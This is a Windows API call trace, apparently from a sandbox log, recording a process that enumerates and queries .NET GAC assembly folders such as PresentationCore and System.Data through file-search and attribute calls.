	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x3c2f28, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualBasic.Activities.Compiler.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0088.573] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.573] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.573] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\Microsoft.VisualBasic.Activities.Compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.VisualBasic.Activities.Compiler.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\microsoft.visualbasic.activities.compiler\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.visualbasic.activities.compiler.dll"), fInfoLevelId=0x0, lpFileInformation=0x1261dea8 | out: lpFileInformation=0x1261dea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x56dbcae0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x3c2f28)) returned 1
	[0088.574] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\presentationcore"), fInfoLevelId=0x0, lpFileInformation=0x1261def8 | out: lpFileInformation=0x1261def8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94648aa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94648aa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94648aa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.574] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\presentationcore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.574] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94648aa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94648aa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94648aa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.574] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94648aa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x94648aa0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x94648aa0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.574] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x945fc7e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e1c7b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e1c7b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__31bf3856ad364e35", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.574] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.574] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.574] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35"), fInfoLevelId=0x0, lpFileInformation=0x1261df98 | out: lpFileInformation=0x1261df98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x945fc7e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e1c7b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e1c7b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.575] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.575] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x945fc7e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e1c7b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e1c7b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.575] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x945fc7e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5e1c7b60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5e1c7b60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.576] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5e239f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x34d4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationCore.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1
	[0088.576] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.576] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.576] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\PresentationCore\\v4.0_4.0.0.0__31bf3856ad364e35\\PresentationCore.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\presentationcore\\v4.0_4.0.0.0__31bf3856ad364e35\\presentationcore.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452058 | out: lpFileInformation=0x12452058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x5e239f80, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x34d4c0)) returned 1
	[0088.576] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data"), fInfoLevelId=0x0, lpFileInformation=0x124520a8 | out: lpFileInformation=0x124520a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935eb360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x935eb360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x935eb360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.576] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.576] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935eb360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x935eb360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x935eb360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.576] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935eb360, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x935eb360, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x935eb360, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.576] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c5200, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66310640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66310640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.576] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.576] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.576] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x12452148 | out: lpFileInformation=0x12452148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c5200, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66310640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66310640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.577] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.577] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c5200, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66310640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66310640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.577] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x935c5200, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x66310640, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x66310640, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.577] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x663367a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x33d0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.577] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.577] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.577] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll"), fInfoLevelId=0x0, lpFileInformation=0x124521e8 | out: lpFileInformation=0x124521e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x663367a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x33d0b0)) returned 1
	[0088.577] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data.oracleclient"), fInfoLevelId=0x0, lpFileInformation=0x12452238 | out: lpFileInformation=0x12452238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48b0cc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48b0cc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.577] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data.oracleclient"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.577] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48b0cc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48b0cc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.577] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa48b0cc0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa48b0cc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.578] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x666c88a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x666c88a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4.0_4.0.0.0__b77a5c561934e089", cAlternateFileName="V40_40~1.0__")) returned 1
	[0088.578] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x124158d4 | out: lpFindFileData=0x124158d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.578] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.578] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x124522d8 | out: lpFileInformation=0x124522d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x666c88a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x666c88a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.578] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.578] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x666c88a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x666c88a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.578] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa48b0cc0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x666c88a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x666c88a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0088.578] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x666eea00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x7bee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.OracleClient.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0088.578] FindNextFileW (in: hFindFile=0x7ebae8, lpFindFileData=0x12415870 | out: lpFindFileData=0x12415870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0088.578] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.578] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.Data.OracleClient\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.OracleClient.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.data.oracleclient\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.oracleclient.dll"), fInfoLevelId=0x0, lpFileInformation=0x12452378 | out: lpFileInformation=0x12452378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c97e00, ftCreationTime.dwHighDateTime=0x1d0aa90, ftLastAccessTime.dwLowDateTime=0x666eea00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x82c97e00, ftLastWriteTime.dwHighDateTime=0x1d0aa90, nFileSizeHigh=0x0, nFileSizeLow=0x7bee0)) returned 1
	[0088.578] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices"), fInfoLevelId=0x0, lpFileInformation=0x124523c8 | out: lpFileInformation=0x124523c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93259260, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93259260, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.579] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_64\\system.enterpriseservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.579] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_64\\System.EnterpriseServices\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93233100, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93259260, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93259260, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
